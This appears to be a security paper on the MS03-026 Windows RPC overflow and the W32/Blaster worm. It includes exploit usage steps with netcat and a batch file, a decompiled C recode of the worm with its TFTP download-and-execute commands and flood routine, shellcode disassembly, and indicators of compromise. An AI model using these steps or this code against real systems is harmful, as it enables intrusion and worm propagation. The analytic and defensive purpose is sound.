1.    The attacker uses an IP and port scanner such as Nmap or Angry IP Scanner to scan IP address ranges for vulnerable systems that have TCP port 135 open. 2.    Once a vulnerable computer has been identified the attacker runs dcom32.exe with the correct parameter for the operating system and service pack level to be compromised.
0 = Windows 2000 SP0 (English)
1 = Windows 2000 SP1 (English)
3 = Windows 2000 SP2 (English)
4 = Windows 2000 SP3 (English)
5 = Windows 2000 SP4 (English)
6 = Windows XP SP0 (English)
7 = Windows XP SP1 (English)

The syntax for running dcom32 is: dcom32


Figure 1: dcom 32 options (from Pol Balaguer's The Microsoft Windows NT4/2000/XP/2003 RPC Buffer Overrun Exploit (MS03-026)).

3.    Assuming step 2 was successful the attacker now uses Netcat to connect to the remote shell that has been installed and is listening on TCP port 4444 of the compromised system.

The syntax for running Netcat is: nc 4444


Figure 2: dcom32 has been run against the victim's machine and now netcat is being used to establish a shell (from Pol Balaguer's The Microsoft Windows NT4/2000/XP/2003 RPC Buffer Overrun Exploit (MS03-026)).

From the shell the attacker now has full access to the compromised system, including commands such as net use, net share, sysinfo, driverquery and basically any other Windows command line instruction.

The attacker could also use a batch file in conjunction with dcom32.exe and Netcat to automate the attack:


@echo on
@echo-	0	Windows 2000 SP0 (English)
@echo-	1	Windows 2000 SP1 (English)
@echo-	2	Windows 2000 SP2 (English)
@echo-	3	Windows 2000 SP3 (English)
@echo-	4	Windows 2000 SP4 (English)
@echo-	5	Windows XP SP0	(English)
@echo-	6	Windows XP SP1	(English)

dcom32 %1 %2
nc -vvv 


A batch file known as rpcd.bat implements the above example. It can be downloaded from:

http://www.illmob.org/rpc/Utilities/rcpx.bat.


Figure 3: The rpcd.bat file has been run with the appropriate parameters and the user now has a shell on the compromised system (from Pol Balaguer's The Microsoft Windows NT4/2000/XP/2003 RPC Buffer Overrun Exploit (MS03-026)).

Running the RPC buffer overrun exploit will kill the svchost.exe host process on the target system, whether or not a shell is obtained (for example, if the wrong operating system version parameter is used).

This will cause Windows NT and Windows 2000 systems to become unstable and hang/crash.

The default behavior of Windows XP and Windows 2003 is to reboot the system when the svchost.exe host process crashes. This will generate the following message followed by a system restart.





It is possible to change the default RPC service behavior by opening the Services Administrative tool, right clicking on the Remote Procedure Tool service, choosing Properties and selecting take no action on all three drop down boxes.

Description of the W32/Blaster Worm Attack

When executed, the W32/Blaster worm does the following:
  1. The worm checks to see if the computer is already infected with a previous instance of the W32/Blaster worm that is running. If this is the case the worm will not try to infect the computer again.
  2. The worm then adds the value "windows auto update"="msblast.exe" to the HKEY_LOCAL_MACHINE\SOFTWARE|Microsoft\Windows\CurrentVersion\Run registry key.
  3. Next W32/Blaster generates an IP address and attempts to infect the system that has that address. The IP address is generated based upon the following algorithm:
    • 40% of the time the generated IP address is in the form of A.B.C.0. Where A and B are equal to the first two parts of the infected computers IP address.

      C is also calculated based upon the third part of the infected computer's IP address. 40% of the time the worm checks to see if C is greater than 20. if this is the case then a random value less than 20 is subtracted from C. Once this last value is calculated, the worm will attempt to find and exploit a system with the newly computed IP address.

      The worm will then begin incrementing the 0 part of the IP address range by 1, attempting to find and compromise other systems until it gets to 254.
    • 60% of the time the IP address generated by the w32/Blaster worm is completely random.
  4. Data is sent on TCP port 135 in order to exploit the previously described DCOM RPC buffer overflow vulnerability. The worm sends one of two types of data depending on whether the system is Windows 2000 or Windows XP.
    • 80% of the time Windows XP data will be sent.
    • 20% of the time Windows 2000 data will be sent.
    Because of the sudden increase in traffic to port 135 the local subnet is likely to become saturated with network traffic.

    While the W32/Blaster worm is not specifically designed to spread to Windows NT or Windows 2003 systems it is still possible that un-patched instances of these operating systems will crash as a consequence of the worm's attempts to exploit them. It is also possible to infect un-patched versions of either of these operating systems by manually executing the worm on them. The Blaster worm will then run and spread as normal.

    Because of the random nature of the exploit data generated by the worm it might cause the RPC service to crash when it receives incorrect data. This is manifested as svchost.exe generating errors as a result of the erroneous data.

    If the RPC service fails, Windows XP will restart the computer by default while Windows 2000 will crash or hang the system. The details of how this feature can be disabled will be discussed later in this paper.
  5. The worm uses Cmd.exe to create a backdoor remote shell process that listens on TCP port 4444 so that an attacker can issue remote commands to the compromised system.
  6. W32/Blaster listens on UDP port 69 using TFTP. When it receives a request from a system that it was able to successfully connect to using the DCOM RPC buffer overflow exploit, it will send the msblast.exe file to that computer and execute the worm.
  7. If the current system date is the 16th through the end of the month for the months of January thorough August, or if the current month is September through December, the worm will attempt to perform a denial of service on the windowsupdate.com domain (Microsoft has removed the DNS entry for this domain name as of 08/15/2003).

    This attempt to perform a denial of service will only succeed if one of the following conditions is true:
    • The worm is running on a Windows XP computer that was either infected or restarted during the payload period.
    • The worm is running on a Windows 2000 computer that was infected during the payload period and has not been restarted since being infected.
    • The worm is running on a Windows computer that that was restarted since it was infected, during the payload period and the currently logged on user is Administrator.
Even if W32/Blaster does not successfully infect the target system, the DCOM RPC buffer overflow exploit used in step 4 above will kill the svchost.exe process on Windows NT, Windows 2000, Windows XP and Windows 2003 systems scanned by the worm. On Windows NT and Windows 2000 this will cause the system to become unstable and hang. Windows XP and 2003 will initiate a reboot by default (This default setting can be changed in Windows Service Manager).

As mentioned previously, the W32/Blaster worm was not specifically written to infect Windows NT and 2003 systems, but these systems are still vulnerable to the Windows RPC vulnerability unless they have had the Microsoft MS03-026 patch applied

When scanned by a machine infected with W32/Blaster the svchost.exe process will crash and the system will hang (if it is Windows NT) or reboot (if it is Windows 2003). Note that this does not mean that the machine has been infected with W32/Blaster and running an antivirus program will not detect or defend against this side effect of the worm's propagation mechanism.

Windows NT and Windows 2003 are not immune to infection; they are just not susceptible to W32/Blaster's propagation mechanism. It is still possible to infect un-patched versions of either of these operating systems by manually running msblast.exe locally on the computer.

Because W32/blaster sends two types of DCOM RPC buffer overflow data (80% of the time Windows XP, 20% of the time Windows 2000), it is also possible for either of these systems to have its svchost.exe process killed (along with the ensuing hang/crash/reboot) without becoming infected.

For example, if a Windows XP system is scanned by an instance of W32/Blaster that is attempting to infect Windows 2000 systems, the Windows XP computer's svchost.exe will crash and the computer will reboot but the machine will not actually become infected. The inverse situation would also hold true for a Windows 2000 system that is scanned by W32/Blaster using the Windows XP exploit except that the system would hang rather than reboot.

Because an infected host system scans sequentially through its subnet 40% of the time, any vulnerable Windows NT, Windows 2000, Windows XP or Windows 2003 systems on that subnet will probably either reboot, hang or become infected (if they are Windows XP or Windows 2000).

W32/Blaster Source Code

The following recode from a disassembly of the W32/Blaster worm was obtained from:
http://lists.insecure.org/lists/
vuln-dev/2003/Aug/att-0029/RPC_DCOM_recode_and_analysis.TXT



Recode from disassembly of the Win32 DCOM worm -- Rolf Rolles rolf.rolles/at/ncf.edu

DISCLAIMER:  Do not fix the poor syntax in my C code and compile it.
If you do something stupid with this, that's your problem, and I'm not responsible.
The way I figure it, if you go out of your way to fix this to get it to compile,
then you've modified the code, it's not my work anymore, and therefore I am not responsible.

I did this for one reason only:  pure RE for the sake of RE.

Anyway ... this is my first-ever binary analysis.
MSBlast.exe and a dump of the exploit sent over port 135 were obtained from various people
on IRC (thanks snacker and f0dder, respectively).  Both were analyzed with IDA.  It took two
or three hours to analyze the exploit, and ten hours to analyze msblast.

Preliminary notes.

MSBlast was compiled with LCC 1.x, which made it particularly easy to analyze.
The exploit encrypts itself via XOR.  A few simple modifications to the "Ripper" IDC
on datarescue's site takes care of this "protection".

A summary of MSBLAST, from the victim's standpoint:

A request comes in on port 135.  If open, the attacker immediately sends the exploit.
I am uncertain as to which platforms the return address[es] works on (though I know
for  a fact that an address was circulating privately that worked on both 2k SP* and XP SP*).
The shellcode binds cmd.exe to 135, and the attacker sends the following string of commands:

* tftp -i source_ip GET msblast.exe\n
* start msblast.exe\n
? msblast.exe\n

TFTP installs standard into \windows\system32. 
TFTP is perfectly suited for this application: 
all msblast.exe has to do is fopen itself and send 200h byte chunks.  Easy.

(Interestingly, I tried to get infected from a random box in the wild, and
every time I  got a hit on port 135, the TFTP would not have finished by the
time that the "start  msblast" command was executed.  On a related note,
the first copy of the binary I got  from IRC was incomplete.
 Perhaps a longer Sleep() is needed to rectify this problem.)

When msblast loads, its first action is to put itself into the 'run' registry key.
Next it picks a random class-C to scan, iteratively.  Then it checks the date;
if the date is greater than 15 and the month is greater than 8, it starts a thread
that lobs custom-generated packets at windowsupdate.com.  Regardless of
whether the date conditions hold, it begins the scan on the class-C.
The scan uses 20 threads at a time.

That's about all there is to it.  It uses a trick in infect_host() that I'm not aware
of to determine which return value to use in the exploit, and I don't know
enough to tell if there's anything remarkable about the generated packets
it throws at windowsupdate. It's all there in the source, if anyone cares to illuminate.

In analyzing the code I was unable to determine why the victim system
(reportedly) reboots itself.  Perhaps it's just that NT doesn't like system
services being killed.

The code follows.  Functions are listed in the order in which they physically
appeared in the binary.

I apologize for the formatting.

Oh, and as mentioned above, this will not compile.  I haven't coded anything
serious in C for sufficiently long enough that I forgot the proper syntax in
some cases.   Also, if you examine the infect_host() function, you will see
a reason that the  code wouldn't work as-is even if it did compile.  And to be
on the safe side, I left the request1-4, bindstr and shellcode out of the source.
They're the same as in any other published DCOM exploit, with a small exception:
 request4 differs in the first seven bytes, but is identical otherwise,
with the xfocus/k-otic/HDM code:

The first seven bytes are 	0xbe 0x22 0x9c 0x80 0x73 0xfe 0x58
rather than:
0x01 0x10 0x08 0x00 0xcc 0xcc 0xcc.

// globals
unsigned long keystatus, class_a, class_b, class_c, t1, t2, t3, t4,
 unknown_dword2,ThreadID;
unsigned long mysterious_dword=1, mystery_dword2=0;
char filename[0x104], *msblast="msblast.exe";
sockaddr cp;
socket s;

main(int argc, char *argv[])
	{
	WSAData WSAData;
	char name[512];
	in_addr in;
	*hostent_ptr ptr_to_hostent;
	unsigned long passed=0;
	char DateStr[3], MonthStr[3];

	RegCreateKeyExA(0x80000002,
 "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\windows",
 NULL, NULL, \ NULL, 0xF003F, NULL, &keystatus, NULL);

	RegSetValueExA(keystatus,
 "windows auto update", NULL, (ULONG)1, "msblast.exe", (ULONG) 0x32);
	RegCloseKey(keystatus);

	CreateMutexA(NULL, (ULONG)1, "BILLY");

	if(GetLastError()==0xb7) ExitProcess(0);

	if(WSAStartup(MAKEWORD(2,2), &WSAData) ||
 WSAStartup(MAKEWORD(1,1), &WSAData) \ || WSAStartup((WORD)1, &WSAData))
		{
		GetModuleFileNameA(NULL, &filename, SIZEOF(filename));
		while (!InternetGetConnectedState(&ThreadID, NULL))
 {Sleep(20000);}
		srand(GetTickCount());
		class_a = (rand() % 254)+1;
		class_b = (rand() % 254)+1;
               
        	if((gethostname(&name, 512)!=-1) ||
(ptr_to_hostent=gethostbyname(&name)))
               		{
               		if((unsigned long)*(ptr_to_hostent.h_list))
               			{
               			memcpy(&in, *(ptr_to_hostent.h_list), 4);
               			sprintf(&name, "%s", inet_ntoa(in.s_addr));
               			t1=atoi(strtok(&name, '.'));
               			t2=atoi(strtok(&name, '.'));
               			t3=atoi(strtok(&name, '.'));
				if (t3>20)
					{
					srand(GetTickCount());
					t3 -= (rand() % 20);
					}
				class_a=t1;
				class_b=t2;
				passed=1;
				}
			}
		srand(GetTickCount());
		if((rand() % 20)>12) passed=0; // this is weird
		unknown_var=1;
		if((rand()%10)>7) unknown_var=2;
		if(!passed)
			{
			t1 = (rand() % 254)+1;
			t2 = (rand() % 254);
			t3 = (rand() % 254);
			}
		GetDateFormatA(0x409, NULL, NULL, "d", &DateStr, 3);
		GetDateFormatA(0x409, NULL, NULL, "d", &MonthStr, 3);
		if((atoi(&DateStr)>15) && (atoi(&MonthStr)>8)) 
			{
			CreateThread(NULL, NULL,
&AttackMS, NULL, NULL, ThreadID);
			}
		while(1==1) {ScanAndInfect();}
		WSACleanup();
		}
	return;
}

void send_copy_of_self()
{
	char buf[0x204];
	sockaddr name;
	sockaddr to;
	unsigned long tolen=16, readlen;
	unsigned int var_204, var_202, var_200, i=0;
	FILE *thisfile;
	some_global_var=1;

this_sub_start:

	if((s=socket(2,2,0))==-1) goto this_loc_ret;
	memset(&name, NULL, 0x10);
	name.sa_family=2;
	(unsigned int)name.sa_data=(unsigned int)htons(69);
	if(!(bind(s,&name, 0x10))) goto this_loc_ret;
	if((recvfrom(s,&buf, 0x204,NULL,&from, &fromlen))==-1)
goto this_loc_ret;
	if(!(thisfile=fopen(&filename,"rb"))) goto this_loc_ret;

	send_self_loop:

		i++;
		var_204=(unsigned int)htons(3);
		var_202=(unsigned int)htons(i);
		readlen=fread(&var_200, 1, 0x200, thisfile);
		readlen+=4;
		if((sendto(s, &var_204, filelen, NULL, &to))<1) goto fclose_it;
		Sleep(900);
		if(readlen<0x204) goto send_self_loop;
		
		fclose(thisfile);
		goto this_loc_ret;

	fclose_it:	
		if(!((unsigned long)thisfile)) goto this_loc_ret;
		fclose(thisfile);
		goto this_loc_ret;

	goto this_sub_start; // strange, but true

	this_loc_ret:
		closesocket(s);
		ExitThread(0);
return;
}

void inc_tvals()
{
	inc_tvals_start:
	if(t4>254) {t4=0; t3++;}
	else {t4++; return;}
	if(t3>254) {t3=0; t2++;}
	else {t3++; return;}
	if(t2>254) {t2=0; t1++;}
	else {t1++; return;}
	if(t1>254) {t1=0; goto inc_tvals_start;}
}

void ScanAndInfect()
{
	fd_set writefds; // there's actually 64 fds in this array, although only 20 are used.
	in_addr in;
	unsigned long namelen, argp=1, tempvar2, tempvar3;
	sockaddr name;
	socket s[20], currsock;
	timeval timeout;
	memset(&name, 0, 16);
	name.sa_family=(WORD)2;
	name.sa_data=htons(135);
	for(int i=0; i<20; i++) 
		{
		s[i*4]=socket((unsigned long)2, (unsigned long)1, (unsigned long)0);
		if((unsigned long)s[i*4]=-1) return;
		ioctlsocket(s[i*4], 0x8004667e, argp);
		}
	for(int i=0; i<20; i++) 
		{
		inc_tvals();
		sprintf(&cp, "%i.%i.%i.%i", t1, t2, t3, t4);
		tempvar2=inet_addr(&cp);
		if(tempvar2=-1) return;
		(unsigned long)name.sa_data[2]=(unsigned long)tempvar2;
		connect(s[i*4], &name, 16);
		}
	Sleep(1800);
	
	
	for(int i=0; i<20; i++)
		{
		timeout.tv_sec=0; timeout.tv_usec=0; writefds.fd_count=0; tempvar3=0;
		currsock=s[i*4];
		while (tempvar3 < writefds.fd_count)
			{
			if((writefds.fd_array[tempvar3]==currsock)) break;
			tempvar3++;
			}
		if((writefds.fd_count==tempvar3) && (writefds.fd_count>=0x40))
			{
			writefds.fd_array[tempvar3]=currsock;
			writefds.fd_count++;
			}
		if((select(NULL, NULL, &writefds, NULL, &timeout)<1) closesocket(s[i*4]);
		else 
			{
			namelen=10;
			getpeername(s[i*4], &name, &namelen);
 // ?? doesn't seem to use the result of this call
			infect_host(s[i*4], inet_ntoa(in.s_addr));
			closesocket(s[i*4]);
			}
		}		

	return;
}


int __cdecl infect_host(SOCKET s,char *cp)
{
	
	sockaddr name;
	char fake_sockaddr[0x10], buf[0x370+0x2cc+0x3c], buf2[0x48];
	unsigned long argp=0, returnaddy=0, ipaddyofhosttoinfect, hObject, ThreadID;
        
        /* At this point in the code there's some weirdness.
          
          mov     eax, 2934h
          call    the_code_below
                
	        pop     ecx
	        sub     esp, 1000h
	        sub     eax, 1000h
	        test    [esp], eax
	        cmp     eax, 1000h
	        jnb     short loc_4022B9
	        sub     esp, eax
	        test    [esp], eax
	        jmp     ecx
	        endp
	
	Anyone know what the hell this is?  I'm guessing LCC did not compile this code. */

        
        
        
	ioctlsocket(s,0x8004667e, &argp);
	if(mystery_dword2==1) returnaddy=0x100139d;
	else returnaddy=0x18759f;

	/* memcpy(&buf, &bindcode, 72);
	memcpy(&somestackvar, &request1, 864);
	memcpy(&somestackvar2, &request2, 16);
	memcpy(&somestackvar3, &request3, 60);
	memcpy(&somestackvar4, &sc, 716);
	memcpy(&somestackvar5, &request4, 48); 
	This is unnecessary crap in the code.  I rewrote it below.*/

	memcpy(buf2, bindcode, 0x48);
	memcpy(buf, request1, 0x360);
	memcpy(buf+0x360, request2, 0x10);
	memcpy(buf+0x370, sc, 0x2cc);
	memcpy(buf+0x394, returnaddy, 4);
	(unsigned long *)buf[0x370]+=(unsigned long)0x166;
	(unsigned long *)buf[0x378]+=(unsigned long)0x166;
	memcpy(buf+0x370+0x2cc, request3, 0x3c);
	memcpy(buf+0x370+0x2cc+0x3c, request4, 0x30);
	(unsigned long *)buf[0x8]+=(unsigned long)0x2c0;
	(unsigned long *)buf[0x10]+=(unsigned long)0x2c0;
	(unsigned long *)buf[0x80]+=(unsigned long)0x2c0;
	(unsigned long *)buf[0x84]+=(unsigned long)0x2c0;
	(unsigned long *)buf[0xb4]+=(unsigned long)0x2c0;
	(unsigned long *)buf[0xb8]+=(unsigned long)0x2c0;
	(unsigned long *)buf[0xd0]+=(unsigned long)0x2c0;
	(unsigned long *)buf[0x18c]+=(unsigned long)0x2c0;
        
        if((send(s, &buf2, 0x48, NULL))==-1) goto common_socket_failure;
        if((send(s, &buf, len, NULL))==-1) goto common_socket_failure;
        closesocket(s);
        Sleep(400);
        if((sploit_socket=socket(2, 1, 0))==-1) goto common_socket_failure;
        memset(&name, (unsigned int)0, 0x10);
        name.sa_family=2;
        name.sa_data=(unsigned int)htons(4444);
        if((name.sa_data[2]=(unsigned long)inet_addr(BOX_TO_INFECT))==-1)
goto  common_socket_failure;
        if((connect(sploit_socket, &name, 0x10))==-1) goto common_socket_failure;
        memset(&ipofsendingbox, (unsigned int)0, 0x10);
        namelen=0x10;
        memset(&fake_sockaddr, (unsigned int)0, 0x10);
        getsockname(sploit_socket, &fake_sockaddr, &namelen);
	sprintf(&ipofsendingbox, "%d.%d.%d.%d", (unsigned short)fake_sockaddr[4],
(unsigned short)fake_sockaddr[5],(unsigned short)fake_sockaddr[6],
(unsigned short)fake_sockaddr[7]);
        if(s) closesocket(s);
        hObject=CreateThread(NULL, NULL, &send_copy_of_self, NULL, NULL, ThreadID);
        Sleep(80);
        sprintf(&cmdbuffer, "tftp -i %s GET %s\n", &ipofsendingbox, &msblast);
        if((send(sploit_socket, &cmdbuffer, strlen(&cmdbuffer), NULL))<1) goto close_socket;
        Sleep(1000);
	for(int i=0; i<10; i++)
		{
		if (mysterious_dword=0) break;
		else Sleep(2000);
		}
	sprintf(&cmdbuffer, "start %s\n", &msblast);
	if((send(sploit_socket, &cmdbuffer, strlen(&cmdbuffer), NULL))<1) goto close_socket;
        Sleep(2000);
        sprintf(&cmdbuffer, "%s\n", &msblast);
	send(sploit_socket, &cmdbuffer, strlen(&cmdbuffer), NULL);
        Sleep(2000);
        close_socket:
        if(sploit_socket) closesocket(sploit_socket);
        if(mysterious_dword) 
        	{
        	TerminateThread(hObject, NULL);
        	closesocket(s);
        	mysterious_dword=0;
        	}
        if(hObject) CloseHandle(hObject);
        common_socket_failure:
	return;                
}


unsigned int checksum(char *checkdata, unsigned long checklength)
	{
	int j=0;
	unsigned long accum, accum2, accum3;
	unsigned int currword;
	for(i=checklength; i>1; i-=2)
		{
		currword = (unsigned int)checkdata[j];
		accum+=currword;
		j+=2;
		}
	if(i==1) accum+=(unsigned short)checkdata[j+1];
	accum2=accum;
	accum2>>16;
	accum3=accum;
	accum3 &= (unsigned long)0x0000FFFF;
	accum = accum2;
	accum += accum3;
	accum2 = accum;
	accum2 >> 16;
	accum += accum2;
	accum = ~accum;
	accum &= (unsigned long)0x0000ffff;
	return accum;
	}

int __cdecl GetIpAddy(char *name)
{
	unsigned long E_AX;
	E_AX=(unsigned long)inet_addr(name);
	if (E_AX!=-1) return E_AX;
	E_AX=(unsigned long)gethostbyname(name);
	if (E_AX==-1) return E_AX;
	E_AX=(unsigned long)*(*(*(E_AX+12)));
	return E_AX;
}

unsigned long __stdcall AttackMS(LPVOID)
{
	unsigned long ipaddrms, socketms, sockoptsretval, optval=1;
	
	ipaddrms=(unsigned long)GetIPAddy("windowsupdate.com");
	
	socketms=WSASocketA(2,3,0xff,NULL,NULL,1); if (socketms==-1) return;
	
sockoptsretval=setsockopt(E_BX, NULL, 2, &optval, (unsigned long)4);
if (sockoptsretval==-1) return;
	
	while(1==1) {build_and_send_packets(ipaddrms, socketms);  Sleep(20);}
	
	closesocket(socketms);
	return;
}
	
void build_and_send_packets(unsigned long msipaddr, socket s)
{
	char buf1[0xc];
	char buf[0x64];
	sockaddr to;
	char name[0x10];
	
	memset(&buf,0,60);
	srand(GetTickCount());
	sprintf(&name, "%i.%i.%i.%i", class_a, class_b, rand()%255, rand()%255);
	GetIPAddy(&name);
	to.sa_family=2;                
	to.sa_data=(unsigned int)htons(0x50);
	memcpy(&to.sa_data+2,&msipaddr,4);
	buf[0x50]=(unsigned short)0x45;        
	buf[0x52]=(unsigned int)htons(0x28);
	buf[0x54]=(unsigned int)1;
	buf[0x56]=(unsigned int)0;
	buf[0x58]=(unsigned short)0x80;
	buf[0x59]=(unsigned short)6;
	buf[0x5a]=(unsigned int)0;
	buf[0x60]=(unsigned long)msipaddr;
	buf[0x3e]=(unsigned int)htons(0x50);
	buf[0x44]=(unsigned long)0;
	buf[0x46]=(unsigned short)0x50;
	buf[0x47]=(unsigned short)2;
	buf[0x48]=(unsigned int)htons(0x4000);
	buf[0x4a]=(unsigned int)0;
	buf[0x4c]=(unsigned int)0;
	buf1[4]=(unsigned long)msipaddr;
	buf1[8]=(unsigned short)0;
	buf1[9]=(unsigned short)0;
	buf1[10]=(unsigned int)htons(0x14);
	buf[0x5c]=(unsigned long)msipaddr;
	buf[0x3c]=(unsigned int)htons((rand() % 1000)+1000);
	var_9c=rand();
	var_9c<<16;
	var_9c |= rand();
	var_9c &= (unsigned long)0x0000FFFF;
	buf[0x40]=(unsigned int)htons(var_9c);
	buf1[0]=msipaddr;
	memcpy(&buf, &buf1, 0xc);
	memcpy(&buf[8], &buf[0x38], 0x14);
	buf[0x4c]=(unsigned int)checksum(&buf, 0x20);
	memcpy(&buf, &buf[0x50], 0x14);
	memcpy(&buf[0x14], &buf[0x3c], 0x14);
	memset(&buf[0x28], (unsigned int) 0, 4);
	buf[0x5a]=(unsigned int)checksum(&buf, 0x28);
	memcpy(&buf, &buf[0x50], 0x14);

	// again, anyone know what kind of packets these are?

	sendto(s, &buf, 0x28, NULL, &to, 0x10);
}                

--------------------------------------------------------------------------------------------

And the analysis of the exploit itself:  (the comments became sparse when I realized
that the code was ripped from HalVar (URL is below)).  ScanForAPI is thoroughly commented.

--------------------------------------------------------------------------------------------

loc_4AF:                                ; CODE XREF: seg000:000004A8 j
                sub     esp, 34h
                mov     esi, esp
                call    GetKernel32BaseAddy
                mov     [esi], eax      ; EAX is the base address of kernel32.dll
                push    dword ptr [esi]
                push    0EC0E4E8Eh      ; corresponds to LoadLibraryA
                call    ScanForAPI
                mov     [esi+8], eax
                push    dword ptr [esi]
                push    0CE05D9ADh      ; WaitForSingleObject
                call    ScanForAPI
                mov     [esi+0Ch], eax
                push    6C6Ch
                push    642E3233h
                push    5F327377h       ; ws32_2.dll
                push    esp
                call    dword ptr [esi+8]
                mov     [esi+4], eax    ; esi + 4 = HModule of ws32_2.dll
                push    dword ptr [esi]
                push    16B3FE72h       ; CreateProcessA
                call    ScanForAPI
                mov     [esi+10h], eax
                push    dword ptr [esi]
                push    73E2D87Eh       ; ExitProcess
                call    ScanForAPI
                mov     [esi+14h], eax
                push    dword ptr [esi+4]
                push    3BFCEDCBh       ; WSAStartup
                call    ScanForAPI
                mov     [esi+18h], eax
                push    dword ptr [esi+4]
                push    0ADF509D9h      ; WSASocketA
                call    ScanForAPI
                mov     [esi+1Ch], eax
                push    dword ptr [esi+4]
                push    0C7701AA4h      ; bind
                call    ScanForAPI
                mov     [esi+20h], eax
                push    dword ptr [esi+4]
                push    0E92EADA4h      ; listen
                call    ScanForAPI
                mov     [esi+24h], eax
                push    dword ptr [esi+4]
                push    498649E5h       ; accept
                call    ScanForAPI
                mov     [esi+28h], eax
                push    dword ptr [esi+4]
                push    79C679E7h       ; closesocket
                call    ScanForAPI
                mov     [esi+2Ch], eax
                xor     edi, edi
                sub     esp, 190h
                push    esp
                push    101h
                call    dword ptr [esi+18h] ; WSAStartup returns 0 if successful
                push    eax
                push    eax
                push    eax
                push    eax
                inc     eax
                push    eax
                inc     eax
                push    eax             ; call wsasocketa
                call    dword ptr [esi+1Ch] ; this code sequence stolen from halvar @
		 www.darklab.org/archive/msg00183.html
                mov     ebx, eax ; ironically, halvar decries source stealing in that link .. heh
                push    edi
                push    edi
                push    5C110002h
                mov     ecx, esp
                push    16h
                push    ecx
                push    ebx
                call    dword ptr [esi+20h] ; bind
                push    edi
                push    ebx
                call    dword ptr [esi+24h] ; listen
                push    edi
                push    ecx
                push    ebx
                call    dword ptr [esi+28h] ; accept
                mov     edx, eax
                push    657865h         ; cmd.exe
                push    2E646D63h
                mov     [esi+30h], esp
                sub     esp, 54h
                lea     edi, [esp]
                xor     eax, eax
                xor     ecx, ecx
                add     ecx, 15h

loc_5C2:                                ; CODE XREF: seg000:000005C3 j
                stosd
                loop    loc_5C2
                mov     byte ptr [esp+10h], 44h ; 'D'
                inc     byte ptr [esp+3Dh]
                mov     [esp+48h], edx
                mov     [esp+4Ch], edx
                mov     [esp+50h], edx
                lea     eax, [esp+10h]
                push    esp
                push    eax
                push    ecx
                push    ecx
                push    ecx
                push    1
                push    ecx
                push    ecx
                push    dword ptr [esi+30h]
                push    ecx
                call    dword ptr [esi+10h] ; CreateProcessA
                mov     ecx, esp
                push    0FFFFFFFFh
                push    dword ptr [ecx]
                call    dword ptr [esi+0Ch] ; waitforsingleobject
                mov     ecx, eax
                push    edi
                call    dword ptr [esi+2Ch] ; closesocket
                call    dword ptr [esi+14h] ; exitprocess


GetKernel32BaseAddy proc near           ; CODE XREF: seg000:000004B4 p
                push    ebp		; see halvar's code for comments
                push    esi
                mov     eax, large fs:30h
                test    eax, eax
                js      short loc_618
                mov     eax, [eax+0Ch]
                mov     esi, [eax+1Ch]
                lodsd
                mov     ebp, [eax+8]
                jmp     short loc_621

loc_618:                                ; CODE XREF: GetKernel32BaseAddy+A j
                mov     eax, [eax+34h]
                mov     ebp, [eax+0B8h]

loc_621:                                ; CODE XREF: GetKernel32BaseAddy+16 j
                mov     eax, ebp
                pop     esi
                pop     ebp
                retn    4
GetKernel32BaseAddy endp


ScanForAPI      proc near               ; CODE XREF: seg000:000004C2 p
                                        ; seg000:000004D1 p ...

pattern         = dword ptr  14h
baseaddy        = dword ptr  18h

                push    ebx
                push    ebp
                push    esi
                push    edi
                mov     ebp, [esp+baseaddy] ; get start of given DLL in memory
                mov     eax, [ebp+3Ch]  ; get start of PE header
                mov     edx, [ebp+eax+78h] ; get base of export table
                add     edx, ebp        ; edx = mem addy of export table
                mov     ecx, [edx+18h]  ; ecx = number of names
                mov     ebx, [edx+20h]  ; ebx = RVA of AddressOfNames
                add     ebx, ebp        ; ebx = mem addy of AddressOfNames

loc_641:                                ; CODE XREF: ScanForAPI+36 j
                jecxz   short loc_675   ; if ECX = 0, couldn't find the 'string'
                dec     ecx             ; each time through the loop, ecx--
                mov     esi, [ebx+ecx*4] ; get RVA of first name
                add     esi, ebp        ; convert it into mem addy
                xor     edi, edi        ; clear EDI so it can assume its value
                cld                     ; direction = forwards

loc_64C:                                ; CODE XREF: ScanForAPI+30 j
                xor     eax, eax
                lodsb                   ; load a byte of the API name from ESI
                cmp     al, ah          ; did we load a zero byte?
                jz      short loc_65A   ; yeah, we're done for this name
                ror     edi, 0Dh        ; nope, form the weirdo value in EDI
                add     edi, eax
                jmp     short loc_64C   ; restart

loc_65A:                                ; CODE XREF: ScanForAPI+29 j
                cmp     edi, [esp+pattern] ; did the API name match what we wanted?
                jnz     short loc_641   ; nope, retry
                mov     ebx, [edx+24h]
                add     ebx, ebp        ; ebx = mem addy of AddressOfNameOrdinals
                mov     cx, [ebx+ecx*2] ; cx = ordinal of function
                mov     ebx, [edx+1Ch]
                add     ebx, ebp        ; ebx = mem addy of "AddressOfFunctions"
                mov     eax, [ebx+ecx*4] ; take EAX = RVA of ordinal #cx
                add     eax, ebp        ; eax becomes a mem addy
                jmp     short loc_677   ; done

loc_675:                                ; CODE XREF: ScanForAPI+19 j
                xor     eax, eax        ; couldn't find it, so EAX=0

loc_677:                                ; CODE XREF: ScanForAPI+4B j
                mov     edx, ebp        ; edx = base addy of DLL
                pop     edi
                pop     esi
                pop     ebp
                pop     ebx
                retn    4               ; cleanup and return
ScanForAPI      endp


Greets:
Accz, cynica_l, blorght, halvar the bigshot, analyst, zen, nu, nroc, carpathia, all of #ol, 
Jessica and my family.



W32/Blaster Worm Signs of Infection

The following symptoms are sure signs that a Windows NT/Windows 2000/Windows XP/Windows 2003 system has been compromised by the W32/Blaster Worm:
  • The presence of a file named msblast.exe in the /WINDOWS/SYSTEM32 directory.
  • A process called msblast.exe in Windows Task Manager
  • The presence of the following Windows registry key:

    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\
    Run "windows auto update" = msblast.exe
  • All major anti-virus vendors have released updates to detect the w32/Blaster worm so (assuming anti-virus software is loaded) the triggering of this signature would be another (rather obvious) sign that the system is infected.
Other telltale signs that a system could be infected include the following:
  • A netstat -o -a command shows that a process is listening on TCP port 4444 (especially if the process ID corresponds to msblast.exe in Windows Task Manager).
  • A netstat -o -a command shows a process listening on UDP port 69 even though TFTP has not been installed on the system.
  • The system reboots every couple of minutes with error messages about the RPC service failing.
  • IDS or firewall detection of an unusually large number of port 135 connection attempts from a system.
All commercial and open source intrusion detection system vendors that I am aware of have released signatures to detect the W32/Blaster at this time. Some examples of signature updates from major vendors include:
  • Symantec Manhunt: The signature for the Microsoft Windows DCOM RPC Buffer Overrun Vulnerability can be found in Service Update 4.
  • Enterasys Dragon IDS: SMB: DCOM_OVERFLOW
